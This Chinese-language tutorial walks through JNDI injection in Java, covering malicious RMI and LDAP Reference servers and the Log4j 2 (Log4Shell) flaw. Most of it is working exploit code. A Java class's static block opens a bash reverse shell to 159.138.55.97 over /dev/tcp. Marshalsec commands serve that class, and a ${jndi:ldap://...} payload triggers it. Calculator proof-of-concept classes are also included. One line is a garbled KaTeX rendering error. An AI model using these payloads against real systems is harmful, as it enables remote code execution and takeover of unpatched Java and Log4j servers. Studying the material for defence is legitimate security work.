https://docs.oracle.com/javase/tutorial/jndi/index.html
JNDI(The java Naming and Directory Interface)java命名和目录接口,是一组在java应用中访问命名和目录的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。比如可以使用命名约定从数据库获取文件,JNDI是java提供在java搜索对象的工具
命名/目录服务提供者:
…
JDK6 | JDK7 | JDK8 | JDK11 | |
---|---|---|---|---|
RMI可用 | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
LDAP可用 | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
JNDI提供了一个Reference类来表示某个对象的引用,这个类中包含被引用对象的类信息和地址。
因为在JNDI中,对象传递要么是序列化方式存储(对象的拷贝,对应按值传递),要么是按照引用(对象的引用,对应按引用传递)来存储,当序列化不好用的时候,我们可以使用Reference将对象存储在JNDI系统中。
RMIServer
package RMI;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIServer2 {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}
RMIClient
package RMI;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient2 {
public static void main(String[] args) throws NamingException{
String var = "rmi://127.0.0.1:7778/RCE";
new InitialContext().lookup(var);
}
}
Calculator.java
public class Calculator {
public Calculator() throws Exception {
Runtime.getRuntime().exec("open -a Calculator");
}
}
将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。
准备反弹类并编译
:::tips
javac shell.java
:::
// javac shell.java
import java.lang.Runtime;
import java.lang.Process;
public class shell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c" ,"bash -i >& /dev/tcp/159.138.55.97/1234 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
将编译好的恶意类上传vps,开启web服务
:::tips
python3 -m http.server 80
:::
下载环境并编译
https://github.com/mbechler/marshalsec.git
git clone https://github.com/mbechler/marshalsec.git
mvn clean package -Dmaven.test.skip=true
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://159.138.55.97/#shell" 9999
发送后,rmi服务收到了应用想要请求绑定shell,rmi服务返回ReferenceWrapper给应用,然后应用回到本地类路径中去找shell,因为本地没有将动态调用我们的rmi指向的http://159.138.55.97/shell.class
然后我们web服务收到一条来自14.107.0.192的get请求,请求我们的恶意类
恶意类被执行,反弹shell
LDAPServer
需要导入unboundid-ldapsdk.jar包
package LDAP;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://192.168.10.103:8081/#Calculator";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
package LDAP;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws NamingException{
String url = "ldap://127.0.0.1:1234/Calculator";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
LDAPClient
package LDAP;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws NamingException{
String url = "ldap://127.0.0.1:1234/Calculator";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
Calculator.java
public class Calculator {
public Calculator() throws Exception {
Runtime.getRuntime().exec("open -a Calculator");
}
}
Log4j 2 是Java语言的日志处理套件三方库,2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
回显测试
https://github.com/r00tSe7en/JNDIMonitor
:::tips
KaTeX parse error: Expected '}', got 'EOF' at end of input: {jndi:ldap://{sys:java.version}.example.com}
:::
准备反弹类并编译
:::tips
javac shell.java
:::
// javac shell.java
import java.lang.Runtime;
import java.lang.Process;
public class shell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c" ,"bash -i >& /dev/tcp/159.138.55.97/1234 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
将编译好的恶意类上传vps,开启web服务
:::tips
python3 -m http.server 80
:::
LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://159.138.55.97/#shell" 9999
${jndi:ldap://159.138.55.97:9999/shell}
ref:
https://docs.oracle.com/javase/tutorial/jndi/index.html
https://xz.aliyun.com/t/6633
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html